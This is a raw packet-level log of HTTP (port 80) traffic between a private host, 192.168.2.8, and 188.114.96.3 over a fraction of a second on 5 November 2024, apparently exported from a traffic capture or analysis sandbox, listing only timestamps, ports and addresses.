Nov 5, 2024 12:43:34.674154043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674176931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674305916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674319029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674333096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674345016 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674345016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674357891 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674360991 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674371004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674376965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674386978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674397945 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674400091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674421072 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674433947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674499035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674546957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674575090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674588919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674614906 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674628019 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674683094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674699068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674710989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674722910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674722910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674731970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674755096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674829006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674844027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674855947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674870968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674885988 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674890041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674901009 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674902916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674916029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674917936 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674930096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674937963 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.674942017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.674957991 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.675052881 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.675266027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.675306082 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.675321102 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.675333977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.675378084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.675378084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.675426960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.675440073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.675451994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.675465107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.675467014 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.675477028 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.675507069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.675620079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.675633907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.675647974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.675661087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.675662041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.675676107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.675684929 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.675717115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.705555916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.705658913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.705728054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.705739975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.705754042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.705777884 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.705801010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706187010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706233025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706233025 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706248999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706274033 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706291914 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706362009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706374884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706386089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706404924 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706414938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706440926 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706592083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706649065 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706665039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706680059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706706047 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706731081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706795931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706820011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706834078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706836939 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706850052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706861019 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706876040 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706888914 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.706931114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706947088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706959009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706969023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.706979036 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.707005978 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.707019091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.707081079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.707092047 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.707119942 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.707138062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.789051056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789088011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789098978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789110899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789172888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789185047 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789202929 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789253950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789289951 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.789314985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789326906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789334059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789347887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789347887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.789354086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789418936 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.789453983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789467096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789479017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789496899 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.789524078 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.789644957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789686918 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.789740086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789757013 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789768934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789777994 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.789781094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789788961 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.789807081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.789817095 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.789902925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789915085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789923906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789935112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789947987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.789952040 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.789964914 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.789999008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790049076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790060997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790072918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790087938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790112972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790174007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790190935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790200949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790218115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790236950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790379047 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790390968 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790401936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790415049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790425062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790426970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790445089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790446997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790458918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790473938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790488958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790507078 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790580034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790623903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790630102 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790642023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790664911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790682077 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790817976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790829897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790841103 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790852070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790863037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790868998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790887117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790900946 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790914059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.790930986 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.790958881 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.791011095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.791021109 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.791030884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.791043043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.791054964 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.791083097 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.791098118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.791135073 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.821158886 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.821186066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.821197987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.821249008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.821279049 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.821569920 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.821583033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.821594000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.821634054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.821710110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.821736097 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.821743965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.821754932 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.821762085 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.821789980 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.821962118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.822012901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.822017908 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.822025061 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.822050095 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.822065115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.822069883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.822094917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.822118044 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.822175026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.822187901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.822197914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.822480917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.822494030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.822504044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.822671890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.822684050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.822696924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.823807001 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.823869944 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.904592991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.904622078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.904633045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.904654980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.904669046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.904680967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.904723883 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.904762983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.904767990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.904797077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.904824972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.904855013 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.904943943 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.904962063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.904973984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.904993057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905000925 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905006886 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905016899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905035973 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905047894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905086040 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905097961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905109882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905128002 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905148029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905163050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905194044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905203104 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905236006 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905370951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905383110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905395985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905410051 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905411005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905424118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905426979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905443907 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905469894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905472040 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905483961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905493975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905507088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905509949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905520916 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905544996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905580997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905625105 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905663967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905704021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905714989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905723095 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905754089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905822039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905833960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905843973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905864000 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905879974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.905956984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905967951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905977964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.905992031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906008959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906011105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906018972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906044006 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906097889 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906116962 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906128883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906140089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906142950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906152964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906163931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906177044 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906193018 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906266928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906310081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906320095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906332970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906354904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906368017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906371117 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906380892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906404972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906411886 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906420946 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906425953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906444073 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906456947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906513929 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906526089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.906553984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.906565905 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.936777115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.936804056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.936819077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.936876059 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.936913967 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.936986923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.936999083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937011003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937024117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937032938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937041044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937048912 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937081099 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937093973 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937140942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937151909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937180042 CET	49711	80	192.168.2.8	188.114.96.3
